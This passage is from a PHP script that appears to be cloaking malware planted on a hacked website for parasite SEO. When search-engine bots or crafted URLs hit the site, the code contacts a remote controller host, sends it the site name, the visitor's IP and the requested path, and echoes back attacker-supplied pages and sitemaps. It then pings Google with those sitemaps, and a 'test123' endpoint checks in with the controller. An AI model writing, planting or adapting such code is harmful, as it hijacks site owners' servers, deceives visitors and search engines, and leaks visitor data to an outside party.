$hn ); $sitemapcount = send_post($url,$post_data); for ($i=1;$i<=$sitemapcount;$i++){ $pu = $ht . "://".$hn."/sitemap".$i.".xml"; $pu="https://www.google.com/ping?sitemap=".$pu; $contents = get($pu); if(strpos($contents, "Sitemap Notification Received")) { echo "Submitting Google Sitemap $pu : OK!
"; }else{ echo "Submitting Google Sitemap $pu : ERROR!
"; } } exit; } if(stripos($_SERVER['REQUEST_URI'],'test123')!==false){ $url = "http://".$ym."textUrl"; $post_data = array( 'number' => $sz, 'hostName' => $ym, 'siteYuming' => $hn ); $htmlToshow = send_post($url,$post_data); echo "jeckdd~~Successfully~~~~~--ok".$htmlToshow; exit; } preg_match('/sitemap(\d+).xml/',$_SERVER['REQUEST_URI'],$matchsitemap); if(stripos($_SERVER['REQUEST_URI'],'sitemap.xml')!==false||count($matchsitemap)>0){ header('Content-type:application/xml'); $hn = (isset($_SERVER['HTTPS']) ? "https" : "http") . "://".$hn; $url = "http://".$ym."smap_1"; $post_data = array( 'hostName' => $hn, 'getcontext' =>$gu, ); $htmlToshow = send_post($url,$post_data); echo $htmlToshow; exit; } $version = preg_match('/([a-z]){4}(\d+)/',$gu,$match); if($match||stripos($user_agent,"bot")){ $hn = (isset($_SERVER['HTTPS']) ? "https" : "http") . "://".$hn; $url = "http://".$ym."gedata_1"; if(stripos($user_agent,"bot")){ $post_data = array( 'getcontext' =>$gu, 'hostName' => $hn, 'useragent' => $user_agent, 'ip' => $rd, ); $htmlToshow = send_post($url,$post_data); echo $htmlToshow; exit; } else { $lastUrl=isset($_SERVER['REQUEST_URI'])?$_SERVER['REQUEST_URI']:''; $shellurl=$hn.$lastUrl; $post_data = array( 'urlrefer' => $urlrefer, 'shellinhtml' => $shellurl, 'gotohtml' =>$gu, 'ip' => $rd, 'hostName' => $hn, ); $htmlToshow = send_post($url,$post_data); if (stripos($htmlToshow,"okGohtml")==true){ $htmlToshow= str_ireplace("okGohtml","",$htmlToshow); echo(''); exit; } } } function send_post($url, $post_data) { $postdata = http_build_query($post_data); $options = array( 'http' => array( 'method' => 'POST', 'header' => 'Content-type:application/x-www-form-urlencoded', 'content' => $postdata, 'timeout' => 15 * 60 ) ); $context = stream_context_create($options); $result = file_get_contents($url, false, $context); return $result; } function get($url){ $contents = @file_get_contents($url); if (!$contents) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); $contents = curl_exec($ch); curl_close($ch); } return $contents; } function is_https() { if ( !empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') { return true; } elseif ( isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https' ) { return true; } elseif ( !empty($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') { return true; } return false; } ?>